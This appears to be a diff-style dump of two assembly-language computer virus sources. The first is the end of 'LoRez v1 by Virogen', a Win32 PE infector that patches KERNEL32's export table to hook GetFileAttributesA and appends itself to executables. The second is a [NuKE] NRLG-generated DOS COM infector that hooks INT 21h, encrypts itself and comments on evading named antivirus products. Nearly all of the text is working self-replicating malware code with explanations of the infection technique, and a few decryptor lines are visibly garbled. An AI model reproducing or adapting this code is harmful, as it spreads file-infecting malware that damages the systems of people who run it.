|
||||
|
||||
open_ok:
|
||||
|
||||
lea eax,[ebp+creation] ; creation time
|
||||
push eax
|
||||
lea eax,[ebp+lastaccess] ; last accessed
|
||||
push eax
|
||||
lea eax,[ebp+lastwrite] ; last writen to
|
||||
push eax
|
||||
push [ebp+handle]
|
||||
call [ebp+GetFileTimeAPI] ; grab the file time
|
||||
|
||||
mov ecx,50h ; read MZ EXE header
|
||||
lea edx,[ebp+peheader] ; (if that's what it is)
|
||||
call read_file
|
||||
|
||||
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
|
||||
jnz abort_infect
|
||||
|
||||
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
|
||||
mov [ebp+ptrpeheader],eax ; save it
|
||||
call setfp
|
||||
|
||||
call setfp_pehdr
|
||||
|
||||
mov ecx,MAX_HDR ; now read the pe header
|
||||
lea edx,[ebp+peheader]
|
||||
call read_file
|
||||
|
||||
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
|
||||
jnz abort_infect ; something funky if no
|
||||
|
||||
cmp word ptr [ebp+peheader],'EP' ; PE?
|
||||
jnz abort_infect
|
||||
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
|
||||
jnz abort_infect ; if yes, infected
|
||||
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
|
||||
jz skip_base_chk ; if so then its ok to be DLL
|
||||
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
|
||||
jnz abort_infect ; base, DLLs probably not.
|
||||
skip_base_chk:
|
||||
|
||||
call [ebp+GetTickCountAPI] ; get tick count
|
||||
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
|
||||
|
||||
xor esi,esi
|
||||
mov si, word ptr [ebp+NtHeaderSize] ; get header size
|
||||
add esi,18h ; object table is here
|
||||
mov dword ptr [ebp+ObjTbloff],esi
|
||||
|
||||
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
|
||||
add esi,eax ; esi->object table
|
||||
mov [ebp+objtblVA],esi ; save the object table VA
|
||||
xor eax,eax
|
||||
mov ax,[ebp+numObj] ; get number of objects
|
||||
dec eax ; we want last object
|
||||
mov ecx,40 ; each object 40 bytes
|
||||
xor edx,edx
|
||||
mul ecx ; numObj-1*40=last object
|
||||
add esi,eax ; esi->last obj
|
||||
|
||||
lea eax,[ebp+peheader+MAX_HDR-40]
|
||||
cmp esi,eax ; if it's out of our range
|
||||
jg abort_infect ; then about this here shit
|
||||
|
||||
mov eax,[esi+20] ; get last object physical off
|
||||
mov [ebp+lastobjimageoff],eax ; save it
|
||||
|
||||
mov ecx,dword ptr [ebp+filealign] ; get file alignment
|
||||
mov eax,[esi+16] ; get physical size of object
|
||||
mov [ebp+originalpsize],eax ; save it 4 later
|
||||
push eax
|
||||
add eax,vend-vstart ; size of our code
|
||||
call align_fix ; set on file alignment
|
||||
mov dword ptr [esi+16],eax ; save new physical size
|
||||
|
||||
mov ecx,dword ptr [ebp+objalign] ; get object alignment
|
||||
push ecx ; save for below
|
||||
mov eax,[esi+8] ; get object virtual size
|
||||
add eax,VIRTUAL_SIZE ; add our virtual size
|
||||
call align_fix ; set on obj alignment
|
||||
mov dword ptr [esi+8],eax ; save new virtual size
|
||||
|
||||
pop ecx
|
||||
mov eax,VIRTUAL_SIZE ; how big we is
|
||||
add eax,dword ptr [ebp+imagesize] ; add to old image size
|
||||
call align_fix ; set on obj alignment
|
||||
mov dword ptr [ebp+imagesize],eax ; save new imagesize
|
||||
|
||||
mov [esi+36],0E0000040h ; set object flags r/x/x
|
||||
|
||||
pop eax ; restore orginal physical size
|
||||
add eax,[esi+12] ; add last object's RVA
|
||||
; eax now RVA of virus code
|
||||
mov [ebp+virusRVA],eax ; save it
|
||||
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
|
||||
jz new_entry ; nope.. regular PE
|
||||
|
||||
;--- our kernel infection starts here ---
|
||||
;
|
||||
; This is really fairly simple. First thing we need to do is find the
|
||||
; image offset of the export table entry for the API we're hooking. We
|
||||
; do this by locating the object that contains the export table. Then,
|
||||
; we subtract the image offset of the object from the virtual offset
|
||||
; of the object. The difference is then subtracted from the previously
|
||||
; saved RVA of the table entry. =image offset
|
||||
;
|
||||
; The different Win32 kernels have different objects which their
|
||||
; export table is located in. The Win95 kernels have it located in
|
||||
; .edata, while win98 puts it in .text, winNT decides to throw the
|
||||
; shit in .rdata. How do we determine which kernel is which, and which
|
||||
; object to calculate the image offset by? Simple, Win95 is the only
|
||||
; kernel that contains .edata, WinNT is the only kernel which contains
|
||||
; .rdata, and Win98 is the only kernel which doesn't contain either.
|
||||
;
|
||||
; Once we extrapolate the image offset of the export table entry for the
|
||||
; RVA of the API we're hooking, we just save the old RVA, and put our
|
||||
; RVA in its place.
|
||||
;
|
||||
;
|
||||
mov esi,[ebp+objtblVA] ; load object table VA
|
||||
xor ecx,ecx
|
||||
mov cx,[ebp+numObj] ; get number of objects
|
||||
dec ecx
|
||||
xor edx,edx ; we'll store our virtual-
|
||||
; physical difference here
|
||||
calc_fo_loop:
|
||||
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
|
||||
jz end_calc_fo_loop ; if so we can reference it
|
||||
cmp dword ptr [esi],'xet.' ; is it .text? for win98
|
||||
jnz not_text
|
||||
mov [ebp+objtext],esi ; save table entry offset
|
||||
not_text:
|
||||
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
|
||||
jz end_calc_fo_loop ; if rdata exists, then
|
||||
; our export shit is there
|
||||
add esi,40 ; to next object we go
|
||||
dec ecx ; decrement # of objects
|
||||
jnz calc_fo_loop ; if not been thru all loop
|
||||
mov esi,[ebp+objtext] ; if .edata or .rdata, then
|
||||
end_calc_fo_loop: ; it must be .text
|
||||
mov edx,[esi+12] ; get the object virtual off
|
||||
sub edx,[esi+20] ; subtract physical offset
|
||||
mov eax,[ebp+originalRVAptr] ; get table entry rva
|
||||
sub eax,edx ; subract difference
|
||||
|
||||
mov [ebp+FileOff],eax ; save table entry image off
|
||||
call setfp ; set file pointer to it
|
||||
|
||||
mov ecx,4 ; read RVA
|
||||
lea edx,[ebp+chkRVA]
|
||||
call read_file ; and check it to make sure
|
||||
; we've got it right
|
||||
mov eax,[ebp+chkRVA]
|
||||
cmp eax,[ebp+originalRVA] ; is it the right RVA?
|
||||
jnz abort_infect ; if not abort infection
|
||||
|
||||
mov eax,[ebp+FileOff] ; get image offset
|
||||
call setfp ; set file ptr to table entry
|
||||
|
||||
mov eax,[ebp+virusRVA] ; get virus RVA
|
||||
add eax,(offset hook-offset vstart) ; find our API hook RVA
|
||||
|
||||
lea esi,[ebp+hookRVA] ; to be written
|
||||
mov [esi],eax ; save hook RVA
|
||||
mov ecx,4 ; dd
|
||||
call write_code ; write the new hook RVA
|
||||
|
||||
mov eax,[ebp+originalRVA] ; get orginal API RVA
|
||||
add eax,[ebp+imagebase] ; relative to image base
|
||||
mov [ebp+jmpback],eax ; save it
|
||||
|
||||
jmp calc_reloc ; skip entry point change..
|
||||
|
||||
;-------------------------------------------------------
|
||||
; our PE EXE infection
|
||||
;
|
||||
new_entry:
|
||||
mov eax,[ebp+virusRVA] ; eax=virus RVA
|
||||
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
|
||||
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
|
||||
|
||||
calc_reloc:
|
||||
add eax,(offset geteip-offset vstart) ; fix for our reloc call
|
||||
sub eax,ebx ; difference of entry pts
|
||||
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
|
||||
; virusVA-diff=entryVA
|
||||
|
||||
call setfp_pehdr ; back to PE header
|
||||
|
||||
lea esi,[ebp+peheader] ; write the new PE header
|
||||
mov ecx,MAX_HDR
|
||||
call write_code ; to the host
|
||||
|
||||
mov eax,[ebp+originalpsize] ; restore original physical size
|
||||
add eax,[ebp+lastobjimageoff] ; add object physical offset
|
||||
call setfp ; set ptr to end of object
|
||||
|
||||
lea esi,[ebp+vstart]
|
||||
mov ecx,VIRUS_SIZE
|
||||
call write_code ; write the virus code to the host
|
||||
|
||||
abort_infect:
|
||||
|
||||
lea eax,[ebp+creation] ; creation time
|
||||
push eax
|
||||
lea eax,[ebp+lastaccess] ; last accessed
|
||||
push eax
|
||||
lea eax,[ebp+lastwrite] ; last writen to
|
||||
push eax
|
||||
push [ebp+handle]
|
||||
call [ebp+SetFileTimeAPI] ; restore orginal file time
|
||||
|
||||
call close_file ; we're done
|
||||
|
||||
mov eax,[ebp+oldattrib] ; get original attribs
|
||||
push eax
|
||||
mov eax,[ebp+fnameptr]
|
||||
push eax
|
||||
call [ebp+SetAttribAPI] ; restore the original attributes
|
||||
ret
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; close handle at [handle]
|
||||
;
|
||||
close_file:
|
||||
push dword ptr [ebp+offset handle]
|
||||
call [ebp+CloseFileAPI]
|
||||
ret
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; opens file with ptr to filename at [fnameptr]
|
||||
;
|
||||
open_default_file:
|
||||
mov eax,[ebp+fnameptr]
|
||||
;---------------------------------------------------------------
|
||||
; opens file, pass eax->filename
|
||||
;
|
||||
open_file:
|
||||
push 0
|
||||
push 20h ; r+w
|
||||
push 3 ; 3=open existing file
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h ; open for r+w
|
||||
push eax
|
||||
call [ebp+CreateFileAPI]
|
||||
mov [ebp+handle],eax ; save handle
|
||||
ret
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; read handle
|
||||
; pass ecx=bytes to read, edx=offset for bytes read
|
||||
;
|
||||
read_file:
|
||||
push 0
|
||||
lea eax,[ebp+bytesread]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push [ebp+handle]
|
||||
call [ebp+ReadFileAPI]
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------
|
||||
; sets eax on alignment of ecx
|
||||
;
|
||||
align_fix:
|
||||
xor edx,edx
|
||||
div ecx ; /alignment
|
||||
inc eax ; next alignment
|
||||
mul ecx ; *alignment
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------
|
||||
; set file pointer to PE header
|
||||
setfp_pehdr:
|
||||
mov eax,[ebp+ptrpeheader]
|
||||
|
||||
;--------------------------------------------------------------
|
||||
; set file ptr of [handle]
|
||||
; pass eax=offset from beginning
|
||||
;
|
||||
setfp:
|
||||
push 0
|
||||
push 0
|
||||
push eax
|
||||
push [ebp+handle]
|
||||
call [ebp+SetFilePtrAPI]
|
||||
ret
|
||||
|
||||
;-------------------------------------------------------------
|
||||
; write to [handle]
|
||||
; pass ecx=bytes to write, esi->source
|
||||
;
|
||||
write_code:
|
||||
push 0
|
||||
lea eax,[ebp+bytesread]
|
||||
push eax
|
||||
push ecx
|
||||
push esi
|
||||
push [ebp+handle]
|
||||
call [ebp+WriteFileAPI]
|
||||
ret
|
||||
|
||||
|
||||
;-------------------------------------------------------------
|
||||
; copy string
|
||||
; pass edi->destination esi->source
|
||||
;
|
||||
|
||||
copy_str:
|
||||
mov ecx,0FFh ; no bigger than 256
|
||||
copystr:
|
||||
lodsb
|
||||
stosb
|
||||
cmp al,0
|
||||
jz copystrdone
|
||||
loop copystr
|
||||
copystrdone:
|
||||
ret
|
||||
|
||||
|
||||
;------------------------------ hooked ------------------------
|
||||
; this is our API hook for GetAttrib
|
||||
;
|
||||
hook:
|
||||
|
||||
pushfd
|
||||
push eax ; save regs
|
||||
push ebx
|
||||
push ecx
|
||||
push edx
|
||||
push edi
|
||||
push esi
|
||||
push ebp
|
||||
|
||||
call reloc ; find relative index
|
||||
reloc:
|
||||
pop ebp ; eip
|
||||
sub ebp, offset reloc ; get relative address
|
||||
|
||||
lea eax,[ebp+jmpback] ; get jump back ptr
|
||||
mov [ebp+jmpbackptr],eax ; save jump back ptr
|
||||
|
||||
cmp ecx,MEM_ID ; is it us?
|
||||
jz abort_mem ; if so then abort
|
||||
|
||||
mov byte ptr [ebp+infkern],0 ; we're infecting normal
|
||||
|
||||
mov eax,[esp+24h] ; ptr to filename is here
|
||||
mov [ebp+fnameptr],eax ; save ptr to filename
|
||||
call infect_file ; replicate ourselves
|
||||
abort_mem:
|
||||
pop ebp ; restore regs
|
||||
pop esi
|
||||
pop edi
|
||||
pop edx
|
||||
pop ecx
|
||||
pop ebx
|
||||
pop eax
|
||||
popfd
|
||||
|
||||
db 0FFh,25h ; jmp [ ]
|
||||
jmpbackptr dd offset jmpback
|
||||
|
||||
jmpback dd 0 ; original API VA
|
||||
|
||||
db 'þ [LoRez] v1 by Virogen [NoP] þ' ; it's i said the fly
|
||||
|
||||
kernfile db '\KERNEL32.dll',0 ; our kernel filename
|
||||
kernfile_e:
|
||||
|
||||
APIs: ; structure of ptrs to our API names
|
||||
dd offset GetTicks
|
||||
dd offset GetWinDir
|
||||
dd offset SetAttrib
|
||||
dd offset CreateFile
|
||||
dd offset SetFilePtr
|
||||
dd offset ReadFile
|
||||
dd offset WriteFile
|
||||
dd offset CloseFile
|
||||
dd offset GetSysDir
|
||||
dd offset CopyFile
|
||||
dd offset GetFileTime
|
||||
dd offset SetFileTime
|
||||
dd offset ExitProc
|
||||
dd offset GetAttrib ; the last entry is our hooked API
|
||||
dd 0
|
||||
; our API names
|
||||
GetTicks db 'GetTickCount',0
|
||||
GetWinDir db 'GetWindowsDirectoryA',0
|
||||
SetAttrib db 'SetFileAttributesA',0
|
||||
CreateFile db 'CreateFileA',0
|
||||
SetFilePtr db 'SetFilePointer',0
|
||||
ReadFile db 'ReadFile',0
|
||||
WriteFile db 'WriteFile',0
|
||||
CloseFile db 'CloseHandle',0
|
||||
GetSysDir db 'GetSystemDirectoryA',0
|
||||
CopyFile db 'CopyFileA',0
|
||||
GetFileTime db 'GetFileTime',0
|
||||
SetFileTime db 'SetFileTime',0
|
||||
ExitProc db 'ExitProcess',0 ; only used in original host
|
||||
GetAttrib db 'GetFileAttributesA',0
|
||||
|
||||
API_Struct: ; structure for API VAs
|
||||
GetTickCountAPI dd 0
|
||||
GetWinDirAPI dd 0
|
||||
SetAttribAPI dd 0
|
||||
CreateFileAPI dd 0
|
||||
SetFilePtrAPI dd 0
|
||||
ReadFileAPI dd 0
|
||||
WriteFileAPI dd 0
|
||||
CloseFileAPI dd 0
|
||||
GetSysDirAPI dd 0
|
||||
CopyFileAPI dd 0
|
||||
GetFileTimeAPI dd 0
|
||||
SetFileTimeAPI dd 0
|
||||
ExitProcessAPI dd 0
|
||||
GetAttribAPI dd 0
|
||||
FileOff dd 0
|
||||
APIStructEnd:
|
||||
|
||||
; data below is not written to disk, but is allocated by object
|
||||
vend:
|
||||
|
||||
handle dd 0 ; file handle
|
||||
infkern db 0 ; kernel infection flag
|
||||
ptrpeheader dd 0 ; offset of PE header
|
||||
ObjTbloff dd 0 ; offset of object table
|
||||
objtblVA dd 0 ; VA of object table
|
||||
bytesread dd 0 ; return from fread/fwrite
|
||||
|
||||
nameptrtbl dd 0
|
||||
adrtbl dd 0
|
||||
ourAPIptr dd 0
|
||||
curAPIptr dd 0
|
||||
ordinaltbl dd 0
|
||||
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
|
||||
originalRVA dd 0 ; orginal RVA of our hooked API
|
||||
chkRVA dd 0
|
||||
originalpsize dd 0
|
||||
hookRVA dd 0
|
||||
virusRVA dd 0
|
||||
hdrread dd 0
|
||||
lastobjimageoff dd 0
|
||||
objtext dd 0
|
||||
creation dd 0,0 ; our file time structures
|
||||
lastaccess dd 0,0
|
||||
lastwrite dd 0,0
|
||||
|
||||
oldattrib dd 0 ; stored file attribs
|
||||
fnameptr dd 0 ; ptr to file name we're infecting
|
||||
fname db 64 dup (0) ; storage for source kernel32.dll
|
||||
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
|
||||
|
||||
peheader: ; PE header format
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
dd 0,0,0
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
dd 0,0,0,0
|
||||
entrypointRVA dd 0
|
||||
dd 0,0
|
||||
imagebase dd 0
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
dd 0,0,0,0
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
|
||||
db MAX_HDR*2 dup (0)
|
||||
buffer_end:
|
||||
ends
|
||||
end vstart
|
||||
|
||||
|
||||
@@ -0,0 +1,430 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿ;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;---------------------------------
|
||||
action: ;
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;get date
|
||||
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||
JE cont ;nop! fuck ret
|
||||
cmp byte ptr cs:[action_dia+bp],32 ;
|
||||
